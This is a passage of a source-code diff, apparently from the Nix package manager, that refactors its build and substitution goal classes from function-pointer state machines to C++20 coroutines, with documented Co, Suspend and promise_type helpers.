+ co_return gaveUpOnSubstitution(); } /* At least one of the output paths could not be produced using a substitute. So we have to build instead. */ -void DerivationGoal::gaveUpOnSubstitution() +Goal::Co DerivationGoal::gaveUpOnSubstitution() { /* At this point we are building all outputs, so if more are wanted there is no need to restart. */ @@ -405,14 +398,12 @@ void DerivationGoal::gaveUpOnSubstitution() addWaitee(upcast_goal(worker.makePathSubstitutionGoal(i))); } - if (waitees.empty()) /* to prevent hang (no wake-up event) */ - inputsRealised(); - else - state = &DerivationGoal::inputsRealised; + if (!waitees.empty()) co_await Suspend{}; /* to prevent hang (no wake-up event) */ + co_return inputsRealised(); } -void DerivationGoal::repairClosure() +Goal::Co DerivationGoal::repairClosure() { assert(!drv->type().isImpure()); @@ -466,41 +457,39 @@ void DerivationGoal::repairClosure() } if (waitees.empty()) { - done(BuildResult::AlreadyValid, assertPathValidity()); - return; + co_return done(BuildResult::AlreadyValid, assertPathValidity()); + } else { + co_await Suspend{}; + co_return closureRepaired(); } - - state = &DerivationGoal::closureRepaired; } -void DerivationGoal::closureRepaired() +Goal::Co DerivationGoal::closureRepaired() { trace("closure repaired"); if (nrFailed > 0) throw Error("some paths in the output closure of derivation '%s' could not be repaired", worker.store.printStorePath(drvPath)); - done(BuildResult::AlreadyValid, assertPathValidity()); + co_return done(BuildResult::AlreadyValid, assertPathValidity()); } -void DerivationGoal::inputsRealised() +Goal::Co DerivationGoal::inputsRealised() { trace("all inputs realised"); if (nrFailed != 0) { if (!useDerivation) throw Error("some dependencies of '%s' are missing", worker.store.printStorePath(drvPath)); - done(BuildResult::DependencyFailed, {}, Error( + co_return done(BuildResult::DependencyFailed, {}, Error( "%s dependencies of derivation '%s' failed to build", nrFailed, worker.store.printStorePath(drvPath))); - return; } if (retrySubstitution == RetrySubstitution::YesNeed) { retrySubstitution = RetrySubstitution::AlreadyRetried; - haveDerivation(); - return; + co_return haveDerivation(); } /* Gather information necessary for computing the closure and/or @@ -566,8 +555,8 @@ void DerivationGoal::inputsRealised() pathResolved, wantedOutputs, buildMode); addWaitee(resolvedDrvGoal); - state = &DerivationGoal::resolvedFinished; - return; + co_await Suspend{}; + co_return resolvedFinished(); } std::function::ChildNode &)> accumInputPaths; @@ -631,8 +620,9 @@ void DerivationGoal::inputsRealised() /* Okay, try to build. Note that here we don't wait for a build slot to become available, since we don't need one if there is a build hook. */ - state = &DerivationGoal::tryToBuild; worker.wakeUp(shared_from_this()); + co_await Suspend{}; + co_return tryToBuild(); } void DerivationGoal::started() @@ -657,7 +647,7 @@ void DerivationGoal::started() worker.updateProgress(); } -void DerivationGoal::tryToBuild() +Goal::Co DerivationGoal::tryToBuild() { trace("trying to build"); @@ -693,7 +683,8 @@ void DerivationGoal::tryToBuild() actLock = std::make_unique(*logger, lvlWarn, actBuildWaiting, fmt("waiting for lock on %s", Magenta(showPaths(lockFiles)))); worker.waitForAWhile(shared_from_this()); - return; + co_await Suspend{}; + co_return tryToBuild(); } actLock.reset(); @@ -710,8 +701,7 @@ void DerivationGoal::tryToBuild() if (buildMode != bmCheck && allValid) { debug("skipping build of derivation '%s', someone beat us to it", worker.store.printStorePath(drvPath)); outputLocks.setDeletion(true); - done(BuildResult::AlreadyValid, std::move(validOutputs)); - return; + co_return done(BuildResult::AlreadyValid, std::move(validOutputs)); } /* If any of the outputs already exist but are not valid, delete @@ -737,9 +727,9 @@ void DerivationGoal::tryToBuild() EOF from the hook. */ actLock.reset(); buildResult.startTime = time(0); // inexact - state = &DerivationGoal::buildDone; started(); - return; + co_await Suspend{}; + co_return buildDone(); case rpPostpone: /* Not now; wait until at least one child finishes or the wake-up timeout expires. */ @@ -748,7 +738,8 @@ void DerivationGoal::tryToBuild() fmt("waiting for a machine to build '%s'", Magenta(worker.store.printStorePath(drvPath)))); worker.waitForAWhile(shared_from_this()); outputLocks.unlock(); - return; + co_await Suspend{}; + co_return tryToBuild(); case rpDecline: /* We should do it ourselves. */ break; @@ -757,11 +748,12 @@ void DerivationGoal::tryToBuild() actLock.reset(); - state = &DerivationGoal::tryLocalBuild; worker.wakeUp(shared_from_this()); + co_await Suspend{}; + co_return tryLocalBuild(); } -void DerivationGoal::tryLocalBuild() { +Goal::Co DerivationGoal::tryLocalBuild() { throw Error( R"( Unable to build with a primary store that isn't a local store; @@ -938,7 +930,7 @@ void runPostBuildHook( }); } -void DerivationGoal::buildDone() +Goal::Co DerivationGoal::buildDone() { trace("build done"); @@ -1033,7 +1025,7 @@ void DerivationGoal::buildDone() outputLocks.setDeletion(true); outputLocks.unlock(); - done(BuildResult::Built, std::move(builtOutputs)); + co_return done(BuildResult::Built, std::move(builtOutputs)); } catch (BuildError & e) { outputLocks.unlock(); @@ -1058,12 +1050,11 @@ void DerivationGoal::buildDone() BuildResult::PermanentFailure; } - done(st, {}, std::move(e)); - return; + co_return done(st, {}, std::move(e)); } } -void DerivationGoal::resolvedFinished() +Goal::Co DerivationGoal::resolvedFinished() { trace("resolved derivation finished"); @@ -1131,7 +1122,7 @@ void DerivationGoal::resolvedFinished() if (status == BuildResult::AlreadyValid) status = BuildResult::ResolvesToAlreadyValid; - done(status, std::move(builtOutputs)); + co_return done(status, std::move(builtOutputs)); } HookReply DerivationGoal::tryBuildHook() @@ -1325,7 +1316,9 @@ void DerivationGoal::handleChildOutput(Descriptor fd, std::string_view data) logSize += data.size(); if (settings.maxLogSize && logSize > settings.maxLogSize) { killChild(); - done( + // We're not inside a coroutine, hence we can't use co_return here. + // Thus we ignore the return value. + [[maybe_unused]] Done _ = done( BuildResult::LogLimitExceeded, {}, Error("%s killed after writing more than %d bytes of log output", getName(), settings.maxLogSize)); @@ -1531,7 +1524,7 @@ SingleDrvOutputs DerivationGoal::assertPathValidity() } -void DerivationGoal::done( +Goal::Done DerivationGoal::done( BuildResult::Status status, SingleDrvOutputs builtOutputs, std::optional ex) @@ -1568,7 +1561,7 @@ void DerivationGoal::done( fs << worker.store.printStorePath(drvPath) << "\t" << buildResult.toString() << std::endl; } - amDone(buildResult.success() ? ecSuccess : ecFailed, std::move(ex)); + return amDone(buildResult.success() ? ecSuccess : ecFailed, std::move(ex)); } diff --git a/src/libstore/build/derivation-goal.hh b/src/libstore/build/derivation-goal.hh index 04f13aedd..ad3d9ca2a 100644 --- a/src/libstore/build/derivation-goal.hh +++ b/src/libstore/build/derivation-goal.hh @@ -194,9 +194,6 @@ struct DerivationGoal : public Goal */ std::optional derivationType; - typedef void (DerivationGoal::*GoalState)(); - GoalState state; - BuildMode buildMode; std::unique_ptr> mcExpectedBuilds, mcRunningBuilds; @@ -227,8 +224,6 @@ struct DerivationGoal : public Goal std::string key() override; - void work() override; - /** * Add wanted outputs to an already existing derivation goal. */ @@ -237,18 +232,19 @@ struct DerivationGoal : public Goal /** * The states. */ - void getDerivation(); - void loadDerivation(); - void haveDerivation(); - void outputsSubstitutionTried(); - void gaveUpOnSubstitution(); - void closureRepaired(); - void inputsRealised(); - void tryToBuild(); - virtual void tryLocalBuild(); - void buildDone(); + Co init() override; + Co getDerivation(); + Co loadDerivation(); + Co haveDerivation(); + Co outputsSubstitutionTried(); + Co gaveUpOnSubstitution(); + Co closureRepaired(); + Co inputsRealised(); + Co tryToBuild(); + virtual Co tryLocalBuild(); + Co buildDone(); - void resolvedFinished(); + Co resolvedFinished(); /** * Is the build hook willing to perform the build? @@ -329,11 +325,11 @@ struct DerivationGoal : public Goal */ virtual void killChild(); - void repairClosure(); + Co repairClosure(); void started(); - void done( + Done done( BuildResult::Status status, SingleDrvOutputs builtOutputs = {}, std::optional ex = {}); diff --git a/src/libstore/build/drv-output-substitution-goal.cc b/src/libstore/build/drv-output-substitution-goal.cc index 13a07e4ea..02284d93c 100644 --- a/src/libstore/build/drv-output-substitution-goal.cc +++ b/src/libstore/build/drv-output-substitution-goal.cc @@ -14,146 +14,135 @@ DrvOutputSubstitutionGoal::DrvOutputSubstitutionGoal( : Goal(worker, DerivedPath::Opaque { StorePath::dummy }) , id(id) { - state = &DrvOutputSubstitutionGoal::init; name = fmt("substitution of '%s'", id.to_string()); trace("created"); } -void DrvOutputSubstitutionGoal::init() +Goal::Co DrvOutputSubstitutionGoal::init() { trace("init"); /* If the derivation already exists, we’re done */ if (worker.store.queryRealisation(id)) { - amDone(ecSuccess); - return; + co_return amDone(ecSuccess); } - subs = settings.useSubstitutes ? getDefaultSubstituters() : std::list>(); - tryNext(); -} + auto subs = settings.useSubstitutes ? getDefaultSubstituters() : std::list>(); -void DrvOutputSubstitutionGoal::tryNext() -{ - trace("trying next substituter"); + bool substituterFailed = false; - if (subs.size() == 0) { - /* None left. Terminate this goal and let someone else deal - with it. */ - debug("derivation output '%s' is required, but there is no substituter that can provide it", id.to_string()); + for (auto sub : subs) { + trace("trying next substituter"); - /* Hack: don't indicate failure if there were no substituters. - In that case the calling derivation should just do a - build. */ - amDone(substituterFailed ? ecFailed : ecNoSubstituters); + /* The callback of the curl download below can outlive `this` (if + some other error occurs), so it must not touch `this`. So put + the shared state in a separate refcounted object. */ + auto outPipe = std::make_shared(); + #ifndef _WIN32 + outPipe->create(); + #else + outPipe->createAsyncPipe(worker.ioport.get()); + #endif - if (substituterFailed) { - worker.failedSubstitutions++; - worker.updateProgress(); + auto promise = std::make_shared>>(); + + sub->queryRealisation( + id, + { [outPipe(outPipe), promise(promise)](std::future> res) { + try { + Finally updateStats([&]() { outPipe->writeSide.close(); }); + promise->set_value(res.get()); + } catch (...) { + promise->set_exception(std::current_exception()); + } + } }); + + worker.childStarted(shared_from_this(), { + #ifndef _WIN32 + outPipe->readSide.get() + #else + &outPipe + #endif + }, true, false); + + co_await Suspend{}; + + worker.childTerminated(this); + + /* + * The realisation corresponding to the given output id. + * Will be filled once we can get it. + */ + std::shared_ptr outputInfo; + + try { + outputInfo = promise->get_future().get(); + } catch (std::exception & e) { + printError(e.what()); + substituterFailed = true; } - return; + if (!outputInfo) continue; + + bool failed = false; + + for (const auto & [depId, depPath] : outputInfo->dependentRealisations) { + if (depId != id) { + if (auto localOutputInfo = worker.store.queryRealisation(depId); + localOutputInfo && localOutputInfo->outPath != depPath) { + warn( + "substituter '%s' has an incompatible realisation for '%s', ignoring.\n" + "Local: %s\n" + "Remote: %s", + sub->getUri(), + depId.to_string(), + worker.store.printStorePath(localOutputInfo->outPath), + worker.store.printStorePath(depPath) + ); + failed = true; + break; + } + addWaitee(worker.makeDrvOutputSubstitutionGoal(depId)); + } + } + + if (failed) continue; + + co_return realisationFetched(outputInfo, sub); } - sub = subs.front(); - subs.pop_front(); + /* None left. Terminate this goal and let someone else deal + with it. */ + debug("derivation output '%s' is required, but there is no substituter that can provide it", id.to_string()); - // FIXME: Make async - // outputInfo = sub->queryRealisation(id); + if (substituterFailed) { + worker.failedSubstitutions++; + worker.updateProgress(); + } - /* The callback of the curl download below can outlive `this` (if - some other error occurs), so it must not touch `this`. So put - the shared state in a separate refcounted object. */ - downloadState = std::make_shared(); -#ifndef _WIN32 - downloadState->outPipe.create(); -#else - downloadState->outPipe.createAsyncPipe(worker.ioport.get()); -#endif - - sub->queryRealisation( - id, - { [downloadState(downloadState)](std::future> res) { - try { - Finally updateStats([&]() { downloadState->outPipe.writeSide.close(); }); - downloadState->promise.set_value(res.get()); - } catch (...) { - downloadState->promise.set_exception(std::current_exception()); - } - } }); - - worker.childStarted(shared_from_this(), { -#ifndef _WIN32 - downloadState->outPipe.readSide.get() -#else - &downloadState->outPipe -#endif - }, true, false); - - state = &DrvOutputSubstitutionGoal::realisationFetched; + /* Hack: don't indicate failure if there were no substituters. + In that case the calling derivation should just do a + build. */ + co_return amDone(substituterFailed ? ecFailed : ecNoSubstituters); } -void DrvOutputSubstitutionGoal::realisationFetched() -{ - worker.childTerminated(this); - - try { - outputInfo = downloadState->promise.get_future().get(); - } catch (std::exception & e) { - printError(e.what()); - substituterFailed = true; - } - - if (!outputInfo) { - return tryNext(); - } - - for (const auto & [depId, depPath] : outputInfo->dependentRealisations) { - if (depId != id) { - if (auto localOutputInfo = worker.store.queryRealisation(depId); - localOutputInfo && localOutputInfo->outPath != depPath) { - warn( - "substituter '%s' has an incompatible realisation for '%s', ignoring.\n" - "Local: %s\n" - "Remote: %s", - sub->getUri(), - depId.to_string(), - worker.store.printStorePath(localOutputInfo->outPath), - worker.store.printStorePath(depPath) - ); - tryNext(); - return; - } - addWaitee(worker.makeDrvOutputSubstitutionGoal(depId)); - } - } - +Goal::Co DrvOutputSubstitutionGoal::realisationFetched(std::shared_ptr outputInfo, nix::ref sub) { addWaitee(worker.makePathSubstitutionGoal(outputInfo->outPath)); - if (waitees.empty()) outPathValid(); - else state = &DrvOutputSubstitutionGoal::outPathValid; -} + if (!waitees.empty()) co_await Suspend{}; -void DrvOutputSubstitutionGoal::outPathValid() -{ - assert(outputInfo); trace("output path substituted"); if (nrFailed > 0) { debug("The output path of the derivation output '%s' could not be substituted", id.to_string()); - amDone(nrNoSubstituters > 0 || nrIncompleteClosure > 0 ? ecIncompleteClosure : ecFailed); - return; + co_return amDone(nrNoSubstituters > 0 || nrIncompleteClosure > 0 ? ecIncompleteClosure : ecFailed); } worker.store.registerDrvOutput(*outputInfo); - finished(); -} -void DrvOutputSubstitutionGoal::finished() -{ trace("finished"); - amDone(ecSuccess); + co_return amDone(ecSuccess); } std::string DrvOutputSubstitutionGoal::key() @@ -163,14 +152,9 @@ std::string DrvOutputSubstitutionGoal::key() return "a$" + std::string(id.to_string()); } -void DrvOutputSubstitutionGoal::work() -{ - (this->*state)(); -} - void DrvOutputSubstitutionGoal::handleEOF(Descriptor fd) { - if (fd == downloadState->outPipe.readSide.get()) worker.wakeUp(shared_from_this()); + worker.wakeUp(shared_from_this()); } diff --git a/src/libstore/build/drv-output-substitution-goal.hh b/src/libstore/build/drv-output-substitution-goal.hh index 6967ca84f..807054926 100644 --- a/src/libstore/build/drv-output-substitution-goal.hh +++ b/src/libstore/build/drv-output-substitution-goal.hh @@ -27,52 +27,19 @@ class DrvOutputSubstitutionGoal : public Goal { */ DrvOutput id; - /** - * The realisation corresponding to the given output id. - * Will be filled once we can get it. - */ - std::shared_ptr outputInfo; - - /** - * The remaining substituters. - */ - std::list> subs; - - /** - * The current substituter. - */ - std::shared_ptr sub; - - struct DownloadState - { - MuxablePipe outPipe; - std::promise> promise; - }; - - std::shared_ptr downloadState; - - /** - * Whether a substituter failed. - */ - bool substituterFailed = false; - public: DrvOutputSubstitutionGoal(const DrvOutput& id, Worker & worker, RepairFlag repair = NoRepair, std::optional ca = std::nullopt); typedef void (DrvOutputSubstitutionGoal::*GoalState)(); GoalState state; - void init(); - void tryNext(); - void realisationFetched(); - void outPathValid(); - void finished(); + Co init() override; + Co realisationFetched(std::shared_ptr outputInfo, nix::ref sub); void timedOut(Error && ex) override { abort(); }; std::string key() override; - void work() override; void handleEOF(Descriptor fd) override; JobCategory jobCategory() const override { diff --git a/src/libstore/build/goal.cc b/src/libstore/build/goal.cc index f8db98280..9a16da145 100644 --- a/src/libstore/build/goal.cc +++ b/src/libstore/build/goal.cc @@ -3,6 +3,97 @@ namespace nix { +using Co = nix::Goal::Co; +using promise_type = nix::Goal::promise_type; +using handle_type = nix::Goal::handle_type; +using Suspend = nix::Goal::Suspend; + +Co::Co(Co&& rhs) { + this->handle = rhs.handle; + rhs.handle = nullptr; +} +void Co::operator=(Co&& rhs) { + this->handle = rhs.handle; + rhs.handle = nullptr; +} +Co::~Co() { + if (handle) { + handle.promise().alive = false; + handle.destroy(); + } +} + +Co promise_type::get_return_object() { + auto handle = handle_type::from_promise(*this); + return Co{handle}; +}; + +std::coroutine_handle<> promise_type::final_awaiter::await_suspend(handle_type h) noexcept { + auto& p = h.promise(); + auto goal = p.goal; + assert(goal); + goal->trace("in final_awaiter"); + auto c = std::move(p.continuation); + + if (c) { + // We still have a continuation, i.e. work to do. + // We assert that the goal is still busy. + assert(goal->exitCode == ecBusy); + assert(goal->top_co); // Goal must have an active coroutine. + assert(goal->top_co->handle == h); // The active coroutine must be us. + assert(p.alive); // We must not have been destructed. + + // we move continuation to the top, + // note: previous top_co is actually h, so by moving into it, + // we're calling the destructor on h, DON'T use h and p after this! + + // We move our continuation into `top_co`, i.e. the marker for the active continuation. + // By doing this we destruct the old `top_co`, i.e. us, so `h` can't be used anymore. + // Be careful not to access freed memory! + goal->top_co = std::move(c); + + // We resume `top_co`. + return goal->top_co->handle; + } else { + // We have no continuation, i.e. no more work to do, + // so the goal must not be busy anymore. + assert(goal->exitCode != ecBusy); + + // We reset `top_co` for good measure. + p.goal->top_co = {}; + + // We jump to the noop coroutine, which doesn't do anything and immediately suspends. + // This passes control back to the caller of goal.work(). + return std::noop_coroutine(); + } +} + +void promise_type::return_value(Co&& next) { + goal->trace("return_value(Co&&)"); + // Save old continuation. + auto old_continuation = std::move(continuation); + // We set next as our continuation. + continuation = std::move(next); + // We set next's goal, and thus it must not have one already. + assert(!continuation->handle.promise().goal); + continuation->handle.promise().goal = goal; + // Nor can next have a continuation, as we set it to our old one. + assert(!continuation->handle.promise().continuation); + continuation->handle.promise().continuation = std::move(old_continuation); +} + +std::coroutine_handle<> nix::Goal::Co::await_suspend(handle_type caller) { + assert(handle); // we must be a valid coroutine + auto& p = handle.promise(); + assert(!p.continuation); // we must have no continuation + assert(!p.goal); // we must not have a goal yet + auto goal = caller.promise().goal; + assert(goal); + p.goal = goal; + p.continuation = std::move(goal->top_co); // we set our continuation to be top_co (i.e. caller) + goal->top_co = std::move(*this); // we set top_co to ourselves, don't use this anymore after this! + return p.goal->top_co->handle; // we execute ourselves +} bool CompareGoalPtrs::operator() (const GoalPtr & a, const GoalPtr & b) const { std::string s1 = a->key(); @@ -75,10 +166,10 @@ void Goal::waiteeDone(GoalPtr waitee, ExitCode result) } } - -void Goal::amDone(ExitCode result, std::optional ex) +Goal::Done Goal::amDone(ExitCode result, std::optional ex) { trace("done"); + assert(top_co); assert(exitCode == ecBusy); assert(result == ecSuccess || result == ecFailed || result == ecNoSubstituters || result == ecIncompleteClosure); exitCode = result; @@ -98,6 +189,13 @@ void Goal::amDone(ExitCode result, std::optional ex) worker.removeGoal(shared_from_this()); cleanup(); + + // We drop the continuation. + // In `final_awaiter` this will signal that there is no more work to be done. + top_co->handle.promise().continuation = {}; + + // won't return to caller because of logic in final_awaiter + return Done{}; } @@ -106,4 +204,16 @@ void Goal::trace(std::string_view s) debug("%1%: %2%", name, s); } +void Goal::work() +{ + assert(top_co); + assert(top_co->handle); + assert(top_co->handle.promise().alive); + top_co->handle.resume(); + // We either should be in a state where we can be work()-ed again, + // or we should be done. + assert(top_co || exitCode != ecBusy); +} + + } diff --git a/src/libstore/build/goal.hh b/src/libstore/build/goal.hh index 0d9b828e1..162c392d0 100644 --- a/src/libstore/build/goal.hh +++ b/src/libstore/build/goal.hh @@ -1,10 +1,11 @@ #pragma once ///@file -#include "types.hh" #include "store-api.hh" #include "build-result.hh" +#include + namespace nix { /** @@ -103,9 +104,263 @@ protected: * Build result. */ BuildResult buildResult; - public: + /** + * Suspend our goal and wait until we get @ref work()-ed again. + * `co_await`-able by @ref Co. + */ + struct Suspend {}; + + /** + * Return from the current coroutine and suspend our goal + * if we're not busy anymore, or jump to the next coroutine + * set to be executed/resumed. + */ + struct Return {}; + + /** + * `co_return`-ing this will end the goal. + * If you're not inside a coroutine, you can safely discard this. + */ + struct [[nodiscard]] Done { + private: + Done(){} + + friend Goal; + }; + + // forward declaration of promise_type, see below + struct promise_type; + + /** + * Handle to coroutine using @ref Co and @ref promise_type. + */ + using handle_type = std::coroutine_handle; + + /** + * C++20 coroutine wrapper for use in goal logic. + * Coroutines are functions that use `co_await`/`co_return` (and `co_yield`, but not supported by @ref Co). + * + * @ref Co is meant to be used by methods of subclasses of @ref Goal. + * The main functionality provided by `Co` is + * - `co_await Suspend{}`: Suspends the goal. + * - `co_await f()`: Waits until `f()` finishes. + * - `co_return f()`: Tail-calls `f()`. + * - `co_return Return{}`: Ends coroutine. + * + * The idea is that you implement the goal logic using coroutines, + * and do the core thing a goal can do, suspension, when you have + * children you're waiting for. + * Coroutines allow you to resume the work cleanly. + * + * @note Brief explanation of C++20 coroutines: + * When you `Co f()`, a `std::coroutine_handle` is created, + * alongside its @ref promise_type. + * There are suspension points at the beginning of the coroutine, + * at every `co_await`, and at the final (possibly implicit) `co_return`. + * Once suspended, you can resume the `std::coroutine_handle` by doing `coroutine_handle.resume()`. + * Suspension points are implemented by passing a struct to the compiler + * that implements `await_sus`pend. + * `await_suspend` can either say "cancel suspension", in which case execution resumes, + * "suspend", in which case control is passed back to the caller of `coroutine_handle.resume()` + * or the place where the coroutine function is initially executed in the case of the initial + * suspension, or `await_suspend` can specify another coroutine to jump to, which is + * how tail calls are implemented. + * + * @note Resources: + * - https://lewissbaker.github.io/ + * - https://www.chiark.greenend.org.uk/~sgtatham/quasiblog/coroutines-c++20/ + * - https://www.scs.stanford.edu/~dm/blog/c++-coroutines.html + * + * @todo Allocate explicitly on stack since HALO thing doesn't really work, + * specifically, there's no way to uphold the requirements when trying to do + * tail-calls without using a trampoline AFAICT. + * + * @todo Support returning data natively + */ + struct [[nodiscard]] Co { + /** + * The underlying handle. + */ + handle_type handle; + + explicit Co(handle_type handle) : handle(handle) {}; + void operator=(Co&&); + Co(Co&& rhs); + ~Co(); + + bool await_ready() { return false; }; + /** + * When we `co_await` another @ref Co-returning coroutine, + * we tell the caller of `caller_coroutine.resume()` to switch to our coroutine (@ref handle). + * To make sure we return to the original coroutine, we set it as the continuation of our + * coroutine. In @ref promise_type::final_awaiter we check if it's set and if so we return to it. + * + * To explain in more understandable terms: + * When we `co_await Co_returning_function()`, this function is called on the resultant @ref Co of + * the _called_ function, and C++ automatically passes the caller in. + * + * `goal` field of @ref promise_type is also set here by copying it from the caller. + */ + std::coroutine_handle<> await_suspend(handle_type handle); + void await_resume() {}; + }; + + /** + * Used on initial suspend, does the same as @ref std::suspend_always, + * but asserts that everything has been set correctly. + */ + struct InitialSuspend { + /** + * Handle of coroutine that does the + * initial suspend + */ + handle_type handle; + + bool await_ready() { return false; }; + void await_suspend(handle_type handle_) { + handle = handle_; + } + void await_resume() { + assert(handle); + assert(handle.promise().goal); // goal must be set + assert(handle.promise().goal->top_co); // top_co of goal must be set + assert(handle.promise().goal->top_co->handle == handle); // top_co of goal must be us + } + }; + + /** + * Promise type for coroutines defined using @ref Co. + * Attached to coroutine handle. + */ + struct promise_type { + /** + * Either this is who called us, or it is who we will tail-call. + * It is what we "jump" to once we are done. + */ + std::optional continuation; + + /** + * The goal that we're a part of. + * Set either in @ref Co::await_suspend or in constructor of @ref Goal. + */ + Goal* goal = nullptr; + + /** + * Is set to false when destructed to ensure we don't use a + * destructed coroutine by accident + */ + bool alive = true; + + /** + * The awaiter used by @ref final_suspend. + */ + struct final_awaiter { + bool await_ready() noexcept { return false; }; + /** + * Here we execute our continuation, by passing it back to the caller. + * C++ compiler will create code that takes that and executes it promptly. + * `h` is the handle for the coroutine that is finishing execution, + * thus it must be destroyed. + */ + std::coroutine_handle<> await_suspend(handle_type h) noexcept; + void await_resume() noexcept { assert(false); }; + }; + + /** + * Called by compiler generated code to construct the @ref Co + * that is returned from a @ref Co-returning coroutine. + */ + Co get_return_object(); + + /** + * Called by compiler generated code before body of coroutine. + * We use this opportunity to set the @ref goal field + * and `top_co` field of @ref Goal. + */ + InitialSuspend initial_suspend() { return {}; }; + + /** + * Called on `co_return`. Creates @ref final_awaiter which + * either jumps to continuation or suspends goal. + */ + final_awaiter final_suspend() noexcept { return {}; }; + + /** + * Does nothing, but provides an opportunity for + * @ref final_suspend to happen. + */ + void return_value(Return) {} + + /** + * Does nothing, but provides an opportunity for + * @ref final_suspend to happen. + */ + void return_value(Done) {} + + /** + * When "returning" another coroutine, what happens is that + * we set it as our own continuation, thus once the final suspend + * happens, we transfer control to it. + * The original continuation we had is set as the continuation + * of the coroutine passed in. + * @ref final_suspend is called after this, and @ref final_awaiter will + * pass control off to @ref continuation. + * + * If we already have a continuation, that continuation is set as + * the continuation of the new continuation. Thus, the continuation + * passed to @ref return_value must not have a continuation set. + */ + void return_value(Co&&); + + /** + * If an exception is thrown inside a coroutine, + * we re-throw it in the context of the "resumer" of the continuation. + */ + void unhandled_exception() { throw; }; + + /** + * Allows awaiting a @ref Co. + */ + Co&& await_transform(Co&& co) { return static_cast(co); } + + /** + * Allows awaiting a @ref Suspend. + * Always suspends. + */ + std::suspend_always await_transform(Suspend) { return {}; }; + }; + + /** + * The coroutine being currently executed. + * MUST be updated when switching the coroutine being executed. + * This is used both for memory management and to resume the last + * coroutine executed. + * Destroying this should destroy all coroutines created for this goal. + */ + std::optional top_co; + + /** + * The entry point for the goal + */ + virtual Co init() = 0; + + /** + * Wrapper around @ref init since virtual functions + * can't be used in constructors. + */ + inline Co init_wrapper(); + + /** + * Signals that the goal is done. + * `co_return` the result. If you're not inside a coroutine, you can ignore + * the return value safely. + */ + Done amDone(ExitCode result, std::optional ex = {}); + + virtual void cleanup() { } + /** * Project a `BuildResult` with just the information that pertains * to the given request. @@ -124,15 +379,20 @@ public: std::optional ex; Goal(Worker & worker, DerivedPath path) - : worker(worker) - { } + : worker(worker), top_co(init_wrapper()) + { + // top_co shouldn't have a goal already, should be nullptr. + assert(!top_co->handle.promise().goal); + // we set it such that top_co can pass it down to its subcoroutines. + top_co->handle.promise().goal = this; + } virtual ~Goal() { trace("goal destroyed"); } - virtual void work() = 0; + void work(); void addWaitee(GoalPtr waitee); @@ -164,10 +424,6 @@ public: virtual std::string key() = 0; - void amDone(ExitCode result, std::optional ex = {}); - - virtual void cleanup() { } - /** * @brief Hint for the scheduler, which concurrency limit applies. * @see JobCategory @@ -178,3 +434,12 @@ public: void addToWeakGoals(WeakGoals & goals, GoalPtr p); } + +template +struct std::coroutine_traits { + using promise_type = nix::Goal::promise_type; +}; + +nix::Goal::Co nix::Goal::init_wrapper() { + co_return init(); +} diff --git a/src/libstore/build/substitution-goal.cc b/src/libstore/build/substitution-goal.cc index 0be3d1e8d..7deeb4748 100644 --- a/src/libstore/build/substitution-goal.cc +++ b/src/libstore/build/substitution-goal.cc @@ -3,6 +3,7 @@ #include "nar-info.hh" #include "finally.hh" #include "signals.hh" +#include namespace nix { @@ -12,7 +13,6 @@ PathSubstitutionGoal::PathSubstitutionGoal(const StorePath & storePath, Worker & , repair(repair) , ca(ca) { - state = &PathSubstitutionGoal::init; name = fmt("substitution of '%s'", worker.store.printStorePath(this->storePath)); trace("created"); maintainExpectedSubstitutions = std::make_unique>(worker.expectedSubstitutions); @@ -25,7 +25,7 @@ PathSubstitutionGoal::~PathSubstitutionGoal() } -void PathSubstitutionGoal::done( +Goal::Done PathSubstitutionGoal::done( ExitCode result, BuildResult::Status status, std::optional errorMsg) @@ -35,17 +35,11 @@ void PathSubstitutionGoal::done( debug(*errorMsg); buildResult.errorMsg = *errorMsg; } - amDone(result); + return amDone(result); } -void PathSubstitutionGoal::work() -{ - (this->*state)(); -} - - -void PathSubstitutionGoal::init() +Goal::Co PathSubstitutionGoal::init() { trace("init"); @@ -53,152 +47,135 @@ void PathSubstitutionGoal::init() /* If the path already exists we're done. */ if (!repair && worker.store.isValidPath(storePath)) { - done(ecSuccess, BuildResult::AlreadyValid); - return; + co_return done(ecSuccess, BuildResult::AlreadyValid); } if (settings.readOnlyMode) throw Error("cannot substitute path '%s' - no write access to the Nix store", worker.store.printStorePath(storePath)); - subs = settings.useSubstitutes ? getDefaultSubstituters() : std::list>(); + auto subs = settings.useSubstitutes ? getDefaultSubstituters() : std::list>(); - tryNext(); -} + bool substituterFailed = false; + for (auto sub : subs) { + trace("trying next substituter"); -void PathSubstitutionGoal::tryNext() -{ - trace("trying next substituter"); + cleanup(); - cleanup(); + /* The path the substituter refers to the path as. This will be + * different when the stores have different names. */ + std::optional subPath; - if (subs.size() == 0) { - /* None left. Terminate this goal and let someone else deal - with it. */ + /* Path info returned by the substituter's query info operation. */ + std::shared_ptr info; - /* Hack: don't indicate failure if there were no substituters. - In that case the calling derivation should just do a - build. */ - done( - substituterFailed ? ecFailed : ecNoSubstituters, - BuildResult::NoSubstituters, - fmt("path '%s' is required, but there is no substituter that can build it", worker.store.printStorePath(storePath))); - - if (substituterFailed) { - worker.failedSubstitutions++; - worker.updateProgress(); + if (ca) { + subPath = sub->makeFixedOutputPathFromCA( + std::string { storePath.name() }, + ContentAddressWithReferences::withoutRefs(*ca)); + if (sub->storeDir == worker.store.storeDir) + assert(subPath == storePath); + } else if (sub->storeDir != worker.store.storeDir) { + continue; } - return; - } - - sub = subs.front(); - subs.pop_front(); - - if (ca) { - subPath = sub->makeFixedOutputPathFromCA( - std::string { storePath.name() }, - ContentAddressWithReferences::withoutRefs(*ca)); - if (sub->storeDir == worker.store.storeDir) - assert(subPath == storePath); - } else if (sub->storeDir != worker.store.storeDir) { - tryNext(); - return; - } - - try { - // FIXME: make async - info = sub->queryPathInfo(subPath ? *subPath : storePath); - } catch (InvalidPath &) { - tryNext(); - return; - } catch (SubstituterDisabled &) { - if (settings.tryFallback) { - tryNext(); - return; + try { + // FIXME: make async + info = sub->queryPathInfo(subPath ? *subPath : storePath); + } catch (InvalidPath &) { + continue; + } catch (SubstituterDisabled & e) { + if (settings.tryFallback) continue; + else throw e; + } catch (Error & e) { + if (settings.tryFallback) { + logError(e.info()); + continue; + } else throw e; } - throw; - } catch (Error & e) { - if (settings.tryFallback) { - logError(e.info()); - tryNext(); - return; + + if (info->path != storePath) { + if (info->isContentAddressed(*sub) && info->references.empty()) { + auto info2 = std::make_shared(*info); + info2->path = storePath; + info = info2; + } else { + printError("asked '%s' for '%s' but got '%s'", + sub->getUri(), worker.store.printStorePath(storePath), sub->printStorePath(info->path)); + continue; + } } - throw; + + /* 